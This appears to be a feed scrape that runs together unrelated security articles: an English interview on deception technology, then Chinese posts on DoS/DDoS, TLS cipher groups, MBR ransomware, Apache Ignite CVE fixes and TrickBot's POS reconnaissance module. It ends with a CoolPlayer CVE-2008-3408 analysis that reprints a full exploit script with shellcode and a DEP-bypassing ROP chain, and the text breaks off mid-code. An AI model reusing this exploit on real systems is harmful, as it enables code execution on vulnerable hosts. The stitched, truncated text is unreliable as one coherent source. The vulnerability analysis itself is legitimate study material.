One of the ways of doing this is to use decoys to lure attackers and allow the threat to be dealt with before it affects live systems. We spoke to Carolyn Crandall, chief deception officer at Attivo Networks to find out more about how this deception technology works and what it can do.

BN: How common is the use of deception technology?

CC: Like Fight Club , the first rule of deception is that you don't talk about deception, so it's out there in a lot more places than people realise. We've seen a huge growth in the market in recent years.

BN: How does deception work?

CC: No game of strategy can be won without some form of deception and defensive measures. Many people today are waiting for an incident to happen and then reacting to it. Deception changes the game because it means we can be proactive and get a better understanding of the attack cycle. This lets us reel in an attack before it has the opportunity to really begin and in a way that isn't reliant on signature, pattern matching and so on. There's also no risk of false positives. If anybody touches the deception environment there's no employee value to it, so you know it's malicious.

The other problem with deterring adversaries is that it's one thing to spot them, but if you don't know anything about them it can be hard to ensure that any malware is properly removed from the network and that they can't come back in. Deception provides adversary intelligence, we can determine where the attack starts, do a full attack analysis in sandbox environments so we can study the attacker and understand their tools, techniques and methods. We can also deliver decisive actions through integration with other systems to prevent an attack on live networks. Even if the attacker does compromise an active directory we can reset the attack surface to prevent re-entry.

BN: Is this something just for large enterprises or does it work for smaller companies too?

CC: About 35 percent of our business is with high end enterprises, the rest is mid-market companies. Many businesses are now realizing that traditional approaches involving firewalls and anti-virus systems are not enough. The attackers are getting through, you can buy a cheap attack kit on the dark web and find a way to get into a small company, exploit a mistake in configuration for example.

Deception is an easy and efficient way for even smaller organizations to operate. It is designed so that everything is easy and intuitive, and it can help with reporting and compliance tracking. It can also be delivered as a managed deception and prevention service, reducing the need for in-house expertise and without needing a physical appliance on site at remote locations.

BN: Is artificial intelligence part of the process?

CC: Some deception players talk about using AI to detect the attacker. We at Attivo don't think that's the most efficient way to handle deception, because by that point it's too late. We want to use the trap to attract and lure the attacker. There's no machine learning applied in the decoy or the lure, however, it is used in the way you prepare the deception, to learn the environment. We use the same operating systems and environments that are used in production on the decoy system for complete authenticity. Machine learning can understand the environment and recommend what deception is needed, cutting the time spent analyzing the system and building the decoy. In the early days of honey pot deception it was too hard to manage, too hard to build and not easily scalable.

BN: How effective is deception against insider threats?

CC: Between insiders, contractors and suppliers it's being used regularly. Even an insider doesn't necessarily know where things are inside the network, so they are going to have to go and look. If an employee is doing reconnaissance on a part of the network they are not authorized to be, you are going to get an alert. If they use stolen credentials and try to get into a server you are also going to get an alert. If they are trying to harvest credentials to access the target they will be caught there too. The tracking and logging means that any attempts are substantiated and this can be passed on to HR and legal teams to allow them to take action. Showing that you have a detection mechanism in place can also help with things like obtaining cyber insurance.

BN: How complementary is deception to other security technology?

CC: We currently have over 30 native integrations. Everybody wants to layer more prevention mechanisms. Our belief is that, fundamentally, attackers can and will get into the network. Almost every network on the planet has some form of detection so it becomes a matter of being able to detect early.

If an attacker has bypassed firewalls or other preventative tools we can detect that activity and pass the attack analysis back to those systems, or to security dashboards, or create a service ticket and we can do that in an automated way. One of the byproducts is that the machine learning can pick up things like old credentials or misconfigurations and flag them up for action.

Image credit: alphaspirit / depositphotos.com

对比DoS攻击与DDoS攻击

$
0
0
DoS攻击概述 DoS是 Denial of Service 的简称,即拒绝服务,造成拒绝服务的攻击行为被称为DoS攻击。 拒绝服务攻击是指一个用户占据了大量资源的共享资源,使系统没有剩余的资源给其他用户提供服务的一种攻击方式。 这种攻击方式可以出现在任何一个平台之上。 常见的DoS攻击: 计算机网络带宽攻击 (以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过)和 连通性攻击 (用大量的连接请求冲击计算机,使得所有可用的操作系统都被消耗殆尽,最终计算机无法再处理合法用户的请求)。 主要使用的攻击方法有 TCP SYN Flood、UDP Flood、Smurf 等。 DoS攻击方法 TCP SYN Flood

最常见又最容易被利用的一种攻击手法。在TCP/IP协议中,TCP协议提供可靠的连接服务,当用户进行一次标准的TCP连接时,采用三次握手建立一个连接。首先是客户端发送一个SYN消息,服务器端收到SYN后,会向客户端回送一个SYN-ACK表示确认,当客户端收到SYN-ACK后,再次向服务器端发送一个ACK消息,这样,一次TCP连接建立成功。但是TCP SYN Flood在实现过程中只进行前两个步骤:当服务器收不到ACK回应;于是,服务器端会在一定时间内处于等待客户端ACK消息的状态。对于服务器来说,由于需要分配一定的资源给每一个等待的连接,因此可以用的TCP连接是有限的。如果恶意攻击短时间内发送大量的此类连接请求,该服务器可用的TCP连接队列将很快被阻塞,系统可用资源急剧减少,甚至会导致服务器的系统崩溃。

UDP Flood

UDP Flood攻击是基于网络带宽的拒绝服务攻击的一种。UDP是一种无连接的协议,而且它不需要任何程序建立连接来传输数据。当攻击者随机地向受害系统的端口发送UDP数据包的时候,就可能发生了UDP Flood攻击。当受害系统接收到一个UDP数据包时,如果攻击数据包的目的端口在受害系统中没用应用程序开放,它就会产生一个目的地址无法连接的ICMP数据包发送给该伪造的源地址。如果向受害者系统发送了足够多的UDP数据包,网络可用带宽迅速缩小,导致正常的连接不能进入。

DDoS 攻击 DDoS 是 (Distributed Denial of Service)的简称,即分布式拒绝服务攻击。 DDoS利用分布式网络环境,对单一DoS攻击实施的一种有效放大。

如果计算机的计算和网络的理解能力提高了10倍,用一台攻击机来攻击不再起作用的话,攻击者则考虑使用10台攻击机同时攻击!或者100台、1000台攻击机进行攻击!DDoS就是利用更多的傀儡机发起进攻,以更大的规模来进攻受害者。

分布式拒绝服务攻击就是利用 DoS攻击方式(如 SYN Flood),通过大量的主机同时攻击某一个目标,使目标消耗大量的系统资源从而无法正常工作。用来实施分布式拒绝服务攻击的著名程序有:TFN2K、Trinoo、Stacheldraht 等。 攻击者发起 DDoS 攻击 第一步,就是寻找在internet上有漏洞的主机,进入系统后在其上面安装后门程序,攻击者入侵的主机越多,那么他的攻击队伍就越壮大! 第二步,在入侵主机上安装攻击程序,其中一部分主机充当攻击的主控端,另一部分主机充当攻击的代理端, 最后,各部分主机各司其职,在攻击者的调遣下对攻击者发起攻击。(由于攻击者在幕后操纵,所以在攻击时不会受监控系统的跟踪,身份不容易被发现。) 追踪 DDoS 攻击者 攻击者使用的代理端越多,就越会留下更多的蛛丝马迹,即使攻击者对占领的代理端进行清理以掩盖踪迹,但是由于代理机往往数量巨大,清理日志实在是一项庞大的工程,导致代理端清理地不很干净,通过 它上面的线索便可以找到它的上一级计算机,通过这个方法可以逐级搜寻,直至找到真正的攻击者!

等价加密算法组并不是 HTTPS 性能调优的利器

$
0
0

这篇文章是 《https优化必须了解ChaCha20-Poly1305算法》 的延伸。现在我们知道在HTTPS协议中,主流的加密算法是AES-GCM和ChaCha20-Poly1305算法,那么服务器应该优先使用那个算法呢?或者说密码套件协商的规则是什么?

密码套件协商规则

假设台式机客户端(比如浏览器)在进行HTTPS握手的时候,会发送一组本机支持的密码套件(排在第一位的加密算法是AES-GCM,第二位的是ChaCha20-Poly1305);假设移动设备的客户端在进行HTTPS握手的时候,会发送一组本机支持的密码套件(排在第一位的加密算法是ChaCha20-Poly1305,第二位的是AES-GCM),那么服务器和客户端应该协商出那个密码算法呢?

在TLS密码库中(OpenSSL、NSS),协商一致的密码套件实际上是由服务器决定的,比如在Nginx中配置:

#配置(1) ssl_ciphers 'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256'; ssl_prefer_server_ciphers on;

其中 ssl_prefer_server_ciphers 指令解释如下:

Specifies that server ciphers should be preferred over client ciphers

也就是说最终协商出的密码套件以服务器配置为准。

如果客户端发送的密码套件同时包含ChaCha20-Poly1305和AES-GCM,而服务器也同时支持这两种算法,那最终选择的密码套件取决于服务器的配置。在上面的配置中,ECDHE-ECDSA-CHACHA20-POLY1305优先级更高,也就是最终会使用ChaCha20-Poly1305算法。

如果 ssl_ciphers 指令对应的算法调换下顺序,比如:

# 配置(2) ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-CHACHA20-POLY1305'; ssl_prefer_server_ciphers on;

那么最终会使用 AES-GCM 算法。

聪明的同学可能会猜到,以上面的配置(1)为例,ECDHE-ECDSA-AES128-GCM-SHA256很有可能永远不会被选择(除非某个客户端不支持 ChaCha20-Poly1305 算法),确实是这样的。

那么为什么密码套件协商要以服务器为准呢?

从安全性考虑,因为如果以客户端密码套件优先级配置为主,那么攻击者可以强迫服务器最终协商出相对不安全的密码套件。

服务器可控性更高,比如说大部分服务器是 intel 芯片,你觉得它愿意使用 ChaCha20-Poly1305 算法吗?

等价加密算法组

等价加密算法组直白的说,就是服务器智能的选择密码套件(以客户端支持的密码套件为主),我们先不考虑等价加密算法组是否有用,先看看它是什么概念。

等价加密算法组(Equal preference cipher groups)是 BoringSSL(从OpenSSL fork出的密码库)提出来的,如果你查看 Cloudflare 推荐的 TLS配置(https://github.com/cloudflare/sslconfig),会发现如下的配置:

ssl_ciphers '[ECDHE-ECDSA-AES128-GCM-SHA256|ECDHE-ECDSA-CHACHA20-POLY1305]:ECDHE+AES128'; ssl_prefer_server_ciphers on;

首先说明的是,如果你在nginx中这样配置,启动nginx的时候会报错的,因为nginx使用的OpenSSL不支持等价加密算法组。cloudFlare现在已经使用了 BoringSSL,所以默认就支持等价加密算法组。

等价加密算法组的配置指令很简单,使用“[]”符号将优先级顺序一样的密码套件配置在一起(多个密码套件用“|”符号分隔)。

一旦如此配置,如果客户端优先发送AES-GCM密码套件,那么最终协商出的密码套件就是AES-GCM;如果客户端优先发送ChaCha20-Poly1305密码套件,那么最终协商出的密码套件就是ChaCha20-Poly1305。

需要注意的是,在这个例子中,[ECDHE-ECDSA-AES128-GCM-SHA256|ECDHE-ECDSA-CHACHA20-POLY1305] 的配置优先级比 ECDHE+AES128 更高,这说明服务器优先级更高(ssl_prefer_server_ciphers on),这一点需要和等价加密算法组的配置区分。 OpenSSL 支持等价加密算法组

考虑到 OpenSSL 的普及性,那么如何让 OpenSSL 也支持这一特性呢?可以打一个patch。

如果你使用的是 OpenSSL 1.1,那么可以进行下列的配置(仅仅描述openssl打patch):

$ wget "https://gitlab.com/buik/openssl/-/archive/openssl-patch/openssl-openssl-patch.zip" $ unzip openssl-openssl-patch.zip $ tar xvf openssl-1.1.0f.tar.gz $ cd openssl-1.1.0f $ patch -p1 < ../openssl-1.1/OpenSSL1.1f-equal-preference-cipher-groups.patch

如果使用的是 OpenSSL 1.1.1,目前还没有patch支持。

等价加密算法组真的有用?

大家可以思考下,为什么OpenSSL 1.1.1的最新版本还没有支持这特性呢?原因可能有多方面,看上去很不错的一个概念,还能让移动设备使用性能更高的ChaCha20-Poly1305算法,何乐而不为呢?

但实际上目前ChaCha20-Poly1305算法的优势没有想象的大。

1:从客户端考虑

移动设备很多使用 ARM 架构,在 《https优化必须了解ChaCha20-Poly1305算法》 也提到,ChaCha20-Poly1305 算法性能是 AES-GCM 的3倍。

可现在移动设备大部分采用 ARM V8 架构,本身已经支持 AES-NI 加速了(比如 iPhone5s以后手机,或者现在的小米手机,我实际测试了下,优先发送的密码套件是AES-GCM)。

就光这一点,直接可以宣告 ChaCha20-Poly1305 算法可能不会普及,从客户端的角度看,不管是台式机还是移动设备,AES-GCM 足够快了。

2:从服务器考虑

大部分台式机和服务器都使用 intel 架构,支持 AES-NI 指令,使用 AES-GCM 密码套件最合适,如果强制让它使用 ChaCha20-Poly1305 算法,性能反而不高(至少对服务器是这样的)。

我们总说 HTTPS 性能优化,需要仔细考虑是优先优化服务器端还是客户端,还是同时优化,这有个取舍。

总结

综合来说,大家也看到了,其实 ChaCha20-Poly1305 算法并没有那么流行,OpenSSL 目前不支持等价加密算法组也可理解了,不过在下个版本中,OpenSSL 还可能会支持,因为这确实一个很有趣的特性。

对于大部分公司来说,其实HTTPS的优化没有太多的银弹,我们只要老老实实的选择主流的配置即可,比如 Mozilla 建议的配置(https://mozilla.github.io/server-side-tls/ssl-config-generator/),没有必要太折腾;当然对于大型企业来说,尤其是 CDN 厂商来说,将性能优化做到极致是可理解的,当然他们更多的会考虑服务器端的 HTTPS 性能。

我会长期关注HTTPS方面的进展,所有写的文章都不是从 《深入浅出HTTPS:从原理到实战》 搬移的,都是我最新学习的,欢迎大家关注,我的公众号(ID:yudadanwx,虞大胆的叽叽喳喳)。


等价加密算法组并不是 HTTPS 性能调优的利器

又一勒索病毒来袭:显示骷髅头 索要0.1个比特币

$
0
0

近日,360互联网安全中心捕获了一款Petya勒索病毒的仿冒者,通过修改用户计算机的MBR(主引导记录)来破坏系统,其攻击手段与早期Petya勒索病毒有相似之处,但又有较大不同。

其攻击方式包括控制域控服务器、钓鱼邮件、永恒之蓝漏洞攻击和暴力破解,攻击力极大, 可在短时间内造成内网大量主机瘫痪,中招主机被要求支付0.1个比特币赎金。


又一勒索病毒来袭:显示骷髅头 索要0.1个比特币

该勒索病毒会释放三款勒索病毒文件(update.exe、update2.exe、update3.exe)到机器中运行,就目前发现的脚本来看,本次入侵仅传播了update3.exe,其余两个并未传播。

而本次攻击中参与实战的 MBR勒索病毒,通过强行写入数据以覆盖磁盘,在此过程中并没有为文件恢复做任何备份 , “加密”MBR之后调用系统shutdown命令重启机器,并在屏幕上显示闪动的骷髅,同时留下如图所示的勒索信息勒索0.1个比特币的赎金。

经360安全专家分析,简单粗暴的磁盘覆盖操作已经导致MBR中的分区表部分数据损坏, 用户成功解除了该勒索信息之后会由于计算机无法识别系统分区,无法正常进入操作系统。

360安全大脑提出以下几点防护建议:

1、企业内部局域网环境复杂,管理人员要重视对局域网内部攻击的防御。

2、及时打补丁,修复系统和软件的安全漏洞。

3、尽可能使用较新的操作系统,其安全性较高,尤其是较新版本的windows系统默认均使用了UEFI的启动模式,该模式可在一定程度上免疫破坏MBR的病毒攻击。

4、用户可安装360安全卫士拦截此类勒索病毒,同时可使用360急救盘修复分区表,保护电脑安全。


又一勒索病毒来袭:显示骷髅头 索要0.1个比特币

文章纠错

微信公众号搜索"驱动之家"加关注,每日最新的手机、电脑、汽车、智能硬件信息可以让你一手全掌握。推荐关注!【微信扫描下图可直接关注


又一勒索病毒来袭:显示骷髅头 索要0.1个比特币

Apache Ignite 2.7.0 发布,替换大量安全漏洞依赖项

$
0
0

Apache Ignite 2.7.0 发布了,这是一个安全更新版本。

此版本替换了以下依赖项以避免用户受到第三方软件攻击:

Apache Log4j
https://nvd.nist.gov/vuln/detail/CVE-2017-5645
FasterXML jackson-databind
https://nvd.nist.gov/vuln/detail/CVE-2017-15095 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-17485 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-7525 ,
https://nvd.nist.gov/vuln/detail/CVE-2018-5968 ,
https://nvd.nist.gov/vuln/detail/CVE-2018-7489
Scala
https://nvd.nist.gov/vuln/detail/CVE-2017-15288
Apache Commons
https://nvd.nist.gov/vuln/detail/CVE-2015-6420 ,
https://nvd.nist.gov/vuln/detail/CVE-2015-7501 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-15708
Netty Project
https://nvd.nist.gov/vuln/detail/CVE-2016-4970
JCraft
https://nvd.nist.gov/vuln/detail/CVE-2016-5725
Apache Tomcat
https://nvd.nist.gov/vuln/detail/CVE-2016-3092 ,
https://nvd.nist.gov/vuln/detail/CVE-2016-8735 ,
https://nvd.nist.gov/vuln/detail/CVE-2018-8014
Guava
https://nvd.nist.gov/vuln/detail/CVE-2018-10237
Apache Camel
https://nvd.nist.gov/vuln/detail/CVE-2015-5344 ,
https://nvd.nist.gov/vuln/detail/CVE-2015-5348 ,
https://nvd.nist.gov/vuln/detail/CVE-2016-8749 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-12633 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-12634 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-3159 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-5643
Spring Framework
https://nvd.nist.gov/vuln/detail/CVE-2018-1257 ,
https://nvd.nist.gov/vuln/detail/CVE-2018-1258
Spring Data Commons
https://nvd.nist.gov/vuln/detail/CVE-2018-1259 ,
https://nvd.nist.gov/vuln/detail/CVE-2018-1273
Jetty
https://nvd.nist.gov/vuln/detail/CVE-2016-4800 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-9735 ,
https://nvd.nist.gov/vuln/detail/CVE-2016-4800 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-9735 ,
https://nvd.nist.gov/vuln/detail/CVE-2016-4800 ,
https://nvd.nist.gov/vuln/detail/CVE-2017-7658
Lucene
https://nvd.nist.gov/vuln/detail/CVE-2017-12629
Mitigation:
Upgrade to Apache Ignite 2.7 or later version

发布公告


TrickBot银行木马最新的POS相关模块psfin32分析

$
0
0
前言

TrickBot通过不断增加窃取用户凭证的新模块而不断进化,我们已发布的最新进展是关于它的pwgrab32模块。最近,我们又发现了一个新的POS相关的恶意模块,使得该银行木马更加危险。一旦受感染的计算机连接到支持POS服务和设备的网络,新模块将开始活动。

我们目前正在研究恶意软件的作者是如何利用这些信息的,因为他们已经成功渗透了安装了POS相关服务的网络,但却没有获取信用卡,ATM或其他银行相关的特定数据。在此阶段,他们可能正在收集信息,以便为将来的入侵做准备。

psfin32模块分析
TrickBot银行木马最新的POS相关模块psfin32分析

新模块psfin32与其之前的信息收集模块类似,但做了一些修改,仅识别特定网络中POS相关的内容。该模块通过域控制器和基本帐户识别网络中的POS服务,并使用LDAP查询来访问Active Directory服务(ADS,负责存储有关网络上对象的信息)。LDAP查询在全局编录的DNS主机名中搜索包含以下字符串的计算机:

POS LANE BOH REG STORE ALOHA CASH RETAIL MICROS
TrickBot银行木马最新的POS相关模块psfin32分析
TrickBot银行木马最新的POS相关模块psfin32分析

如果未查询到任何信息,它还会根据以下内容对网络中的不同帐户或对象执行其他查询:

sAMAccountName:用于支持旧版windows操作系统版本,如Windows NT 4.0,Windows 95,Windows 98和LAN Manager


TrickBot银行木马最新的POS相关模块psfin32分析
TrickBot银行木马最新的POS相关模块psfin32分析

网站名称:


TrickBot银行木马最新的POS相关模块psfin32分析

组织单位(OU):


TrickBot银行木马最新的POS相关模块psfin32分析

除域控制器外,它还使用UserAccountControl(UAC)8192向网络中具有基本帐户或用户的计算机发送查询。


TrickBot银行木马最新的POS相关模块psfin32分析

一旦TrickBot收集到了信息,它就会将信息存储到其预先配置的“Log”文件中,通过POST方式发送到其C&C服务器Dpost上。如果无法访问C&C服务器,则会提示“Dpost服务器不可用”,否则提示会显示“报告已成功发送”。


TrickBot银行木马最新的POS相关模块psfin32分析

考虑到模块的部署时间,威胁参与者可能正在利用假期来收集和发送信息,特别是在Brad Duncan在ISC上发表了相关报告之后,该报告讨论了针对美国的关于TrickBot宏的恶意垃圾邮件活动。虽然当时分析的样本文件和URL已无法访问,但依然对个人和企业起到警告作用:不要打开可疑的电子邮件,文件和附件。

防范策略

鉴于TrickBot的模块化特性,我们可以预期它会有更多的变种,使其更难以检测和防御。个人和企业可以通过多层防御使自己免受像TrickBot这样的银行木马侵害。同时确保只安装,下载和浏览白名单下的应用程序和站点。

Indicator of Compromise SHA256

SHA256

TrojanSpy.Win32.TRICKBOT.AL

a9b00d12f7fa52209a8ead91bb595522effc0ab5e4dcfa02e0d145ae7ea1cb19

*参考来源: trendmicro.com ,xxx编译整理,转载请注明来自 CodeSec.Net。

CoolPlayer bypass DEP(CVE-2008-3408)分析

$
0
0
环境搭建

CoolPlayer 是一款MP3播放软件,功能丰富,界面美观,十年前就已经停止更新,但直至现在依然还有人在下载使用


CoolPlayer bypass DEP(CVE-2008-3408)分析

根据 exploitdb ,CoolPlayer 2.18在处理 m3u 文件时,存在栈溢出,并且可以绕过 DEP 执行代码。

根据 维基百科 对 m3u 文件的解释

M3U文件是一种纯文本文件,可以指定一个或多个多媒体文件的位置,其文件扩展名是“M3U”或者“m3u”。
M3U文件具有多个条目,每个条目的格式可以是以下几种格式之一:
一个绝对路径;比如:C:My MusicHeavysets.mp3
一个相对路径(相对于M3U文件的路径);比如:Heavysets.mp3
一个URL
M3U文件也有注释,注释行以"#"字符开头,在扩展M3U文件中,"#"还引入了扩展M3U指令。
M3U文件的作用通常是创建指向在线流媒体的播放列表,创建的文件可以轻松访问流媒体。M3U文件通常作为网站的下载资源、通过email收发,并可以收听网络电台。
如果使用编辑器编辑M3U文件,必须将该文件用windows-1252格式保存,这种格式是ASCII编码的超集。M3U文件也可以使用Latin-1字符编码。

简单点可以理解, m3u 是是一种存放文件列表的文本文件(理解这个,对下面的分析很重要)。

利用的 exploit

# Exploit Title: CoolPlayer 2.18 DEP Bypass
# Date: January 2, 2011
# Author: Blake
# Version: 2.18
# Tested on: Windows XP SP3 running in Virtualbox
# Uses SetProcessDEPPolicy() to disable DEP for the process
# Thanks to mr_me for the encouragement
# Exploit-DB Notes: May not work on all Win XP SP3 machines
print "n============================"
print "CoolPlayer 2.18 DEP Bypass"
print "Written by Blake"
print "============================n"
# windows/exec calc.exe 227 bytes - 240 bytes of shellcode space available
shellcode =(
"xdaxdaxd9x74x24xf4xbfxe7x18x22xfbx2bxc9xb1x33"
"x5ex31x7ex17x83xeexfcx03x99x0bxc0x0ex99xc4x8d"
"xf1x61x15xeex78x84x24x3cx1excdx15xf0x54x83x95"
"x7bx38x37x2dx09x95x38x86xa4xc3x77x17x09xccxdb"
"xdbx0bxb0x21x08xecx89xeax5dxedxcex16xadxbfx87"
"x5dx1cx50xa3x23x9dx51x63x28x9dx29x06xeex6ax80"
"x09x3exc2x9fx42xa6x68xc7x72xd7xbdx1bx4ex9exca"
"xe8x24x21x1bx21xc4x10x63xeexfbx9dx6exeex3cx19"
"x91x85x36x5ax2cx9ex8cx21xeax2bx11x81x79x8bxf1"
"x30xadx4ax71x3ex1ax18xddx22x9dxcdx55x5ex16xf0"
"xb9xd7x6cxd7x1dxbcx37x76x07x18x99x87x57xc4x46"
"x22x13xe6x93x54x7ex6cx65xd4x04xc9x65xe6x06x79"
"x0exd7x8dx16x49xe8x47x53xabx19x5ax49x3cx80x0f"
"x30x20x33xfax76x5dxb0x0fx06x9axa8x65x03xe6x6e"
"x95x79x77x1bx99x2ex78x0exfaxb1xeaxd2xd3x54x8b"
"x71x2c")
buffer = "x41" * 220
eip = "x28xb0x9fx7c" # POP ECX / RETN - SHELL32.DLL 7C9FB028
offset1 = "x42" * 4
nop = "x90" * 10
# put zero in EBX
rop = "xddxadx9ex7c" # POP EBX / RETN - SHELL32.DLL 7C9EADDD
rop += "xffxffxffxff" # placed into ebx
rop += "xe1x27xc1x77" # INC EBX / RETN - MSVCRT.DLL 77C127E1
# set EBP to point to SetProcessDEPPolicy
rop += "x7bxa6x9ex7c" # POP EBP / RETN - SHELL32.DLL 7C9EA67B
rop += "xa4x22x86x7c" # address of SetProcessDEPPolicy XP SP3
# set EDI as a pointer to RET (rop nop)
rop += "x47xebx9ex7c" # POP EDI / RETN - SHELL32.DLL 7C9EEB47
rop += "x08x15x9cx7c" # RETN - SHELL32.DLL 7C9C1508
# set ESI as a pointer to RET (rop nop)
rop += "x4cx20x9cx7c" # POP ESI / RETN - SHELL32.DLL 7C9C204C
rop += "x51x20x9cx7c" # RETN - SHELL32.DLL 7C9C2051
# set ESP to point at nops
rop += "x73x10xa1x7c" # PUSHAD / RETN - SHELL32.DLL 7CA11073
print "[*] Creating malicious m3u file"
try:
file = open("exploit.m3u","w")
file.write(buffer + eip + offset1 + rop + nop + shellcode)
file.close()
print "[*] File created"
except:
print "[x] Error creating file!"
raw_input("nPress any key to exit...")

软件地址(包含源码和二进制可执行程序)

测试环境

windows cn xp sp3
windbg
vc 6.0
immunity debugger/mona.py 漏洞分析

mona 生成匹配串,之后利用 windbg 直接跑,可以发现溢出出错了


CoolPlayer bypass DEP(CVE-2008-3408)分析

但是这里有个很奇怪的一点,调用栈没用。无法根据调用栈回溯到出错位置。试了各种各样的办法,也确定了溢出长度为 260 ,使用 264 长度的串,依然无法观察到。尝试查看所有线程的调用栈,看看是否能够发现什么


CoolPlayer bypass DEP(CVE-2008-3408)分析

其中唯独有关的位置 image00400000+0xdbd6(40dbd6) ,利用 IDA 查看,依然也没有发现


CoolPlayer bypass DEP(CVE-2008-3408)分析

由于分析经验不足,尝试了各种各样的方法,但是依然没有解决这个问题,找不到出错的位置。最后实在没有办法就想起了直接啃源码,这种比较笨拙的办法了。

源码分析

源码整体的框架


CoolPlayer bypass DEP(CVE-2008-3408)分析

是使用 VC6.0 这种上古神器编译的,其实也就可以知道了,是可以绕过 DEP 的,这里暂时不谈。

main.c 结构


CoolPlayer bypass DEP(CVE-2008-3408)分析

细看一下 WinMain ,是一个完整的 windows 消息处理程序,找到窗口处理过程,查看功能实现代码,其 WM_LBUTTONUP 实现了其窗口的各种功能,包括下一首,上一首,皮肤处理等等。

case WM_LBUTTONUP:
{
int teller;
ReleaseCapture();
globals.main_bool_slider_keep_focus = FALSE;
cursorpos = MAKEPOINTS(lParam);
for (teller = PlaySwitch; teller <= ExitButton; teller++)
{
if (cursorpos.x >= Skin.Object[teller].x
&& cursorpos.y >= Skin.Object[teller].y
&& cursorpos.x <=
Skin.Object[teller].x + Skin.Object[teller].w
&& cursorpos.y <=
Skin.Object[teller].y + Skin.Object[teller].h)
{
switch (teller)
{
case PlaySwitch:
main_play_control(ID_PLAY, hWnd);
break;
case PauseSwitch:
main_play_control(ID_PAUSE, hWnd);
break;
case StopSwitch:
main_play_control(ID_STOP, hWnd);
break;
case RepeatSwitch:
main_play_control(ID_REPEAT, hWnd);
break;
case ShuffleSwitch:
main_play_control(ID_SHUFFLE, hWnd);
break;
case EqSwitch:
main_play_control(ID_EQUALIZER, hWnd);
break;
case PlaylistButton:
main_play_control(ID_PLAYLIST, hWnd);
break;
case NextButton:
main_play_control(ID_NEXT, hWnd);
break;
case PrevButton:
main_play_control(ID_PREVIOUS, hWnd);
break;
case MinimizeButton:
if (options.show_on_taskbar)
ShowWindow(hWnd, SW_MINIMIZE);
else
ShowWindow(hWnd, SW_HIDE);
break;
case NextSkinButton:
main_play_control(ID_LOADSKIN, hWnd);
break;
case ExitButton:
DestroyWindow(hWnd);
break;
case EjectButton:
main_play_control(ID_LOAD, hWnd);
break;
}
}
}
// options.show_remaining_time time
if (cursorpos.x >= Skin.Object[TimeText].x
&& cursorpos.y >= Skin.Object[TimeText].y
&& cursorpos.x <=
(Skin.Object[TimeText].x + (Skin.Object[TimeText].w * 8))
&& cursorpos.y <=
(Skin.Object[TimeText].y + Skin.Object[TimeText].h))
{
options.show_remaining_time = !options.show_remaining_time;
main_draw_time(hWnd);
break;
}
main_draw_controls_all(hWnd);
break;
}

跟我们最相关的是这里

case EjectButton:
main_play_control(ID_LOAD, hWnd);

跟进查看 ID_LOAD 的处理代码

int main_play_control(WORD wParam, HWND hWnd)
{
...
case ID_LOAD:
CPVERB_OpenFile(vaDoVerb, hWnd);
break;
...
}

继续跟进

void CPVERB_OpenFile(const CPe_VerbAction enAction, void* _pParam)
{
if (enAction == vaDoVerb)
{
if (playlist_open_file(TRUE))
CPL_PlayItem(globals.m_hPlaylist, TRUE, pmCurrentItem);
}
else if (enAction == vaQueryName)
{
CPs_VerbQueryName* pParam = (CPs_VerbQueryName*)_pParam;
if (stricmp(pParam->m_pcName, "OpenFile") == 0)
pParam->m_bNameMatched = TRUE;
}
}

其实联系上两步,可以发现 enAction == vaDoVerb ,因为 enAction 就是 vaDoVerb

跟进 playlist_open_file(TRUE)

int playlist_open_file(BOOL clearlist)
{
OPENFILENAME fn;
char filefilter[] =
"All Supported files*.mp1;*.mp2;*.mp3;*.m3u;*.pls;*.wav;*.ogg"
"MPEG audio files (*.mp1;*.mp2;*.mp3)*.mp1;*.mp2;*.mp3"
"Vorbis files (*.ogg)*.ogg"
"Playlist files (*.m3u;*.pls)*.m3u;*.pls"
"WAV files (*.wav)*.wav"
"All Files (*.*)*.*";
...
returnval = GetOpenFileName(&fn);
if (returnval != FALSE)
{
char *newfilename;
char path_buffer[_MAX_PATH];
char path_buffer2[_MAX_PATH];
if (clearlist)
CPL_Empty(globals.m_hPlaylist);
strcpy(path_buffer, fn.lpstrFile);
if (path_is_directory(fn.lpstrFile) == TRUE)
{
path_add_backslash(path_buffer);
}
else
{
path_remove_filespec(path_buffer);
}
strcpy(options.last_used_directory, path_buffer);
newfilename = fn.lpstrFile + fn.nFileOffset;
while (newfilename[0] != 0)
{
strcpy(path_buffer2, path_buffer);
strcat(path_buffer2, newfilename);
CPL_SyncLoadNextFile(globals.m_hPlaylist);
CPL_AddFile(globals.m_hPlaylist, path_buffer2);
newfilename = newfilename + strlen(newfilename) + 1;
}
return 1;
}
return 0;
}

其主要的功能就是

设置可以打开的文件后缀白名单 获取打开的文件名 构建文件的绝对路径名

根据分析,函数 CPL_AddFile 会根据绝对路径名去处理文件,继续跟进。该函数首先会判断文件的类型,获取文件的大小,获取文件目录字符串长度等,再根据不同的类型进入不同的分支进行处理,而且还可以从网络上下载文件进行处理。从 1249 行去处理 m3u 文件。

void CPL_AddFile(CP_HPLAYLIST hPlaylist, const char* pcFilename)
{
...
// Check for known file types
enFileType = CPL_GetFileType(pcFilename);
...
// Get playlist file information
iPlaylist_VolumeBytes = CPL_GetPathVolumeBytes(pcFilename);
iPlaylist_DirectoryBytes = CPL_GetPathDirectoryBytes(pcFilename, iPlaylist_VolumeBytes); // 这里很重要!!!!
...
// 开始处理m3u文件
// It's not a URL, so we will read the file from a local (UNC) resource
hFile = CreateFile(pcFilename, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
const DWORD dwFileSize = GetFileSize(hFile, NULL);
// We will only load playlists that are smaller than 256K
if (dwFileSize < 0x40000)
{
// The plan is to load the entire file into a memblock and then split it into lines
// and scan off the whitepace and add the items to the list
pcPlaylistBuffer = (char *)malloc(dwFileSize + 1);
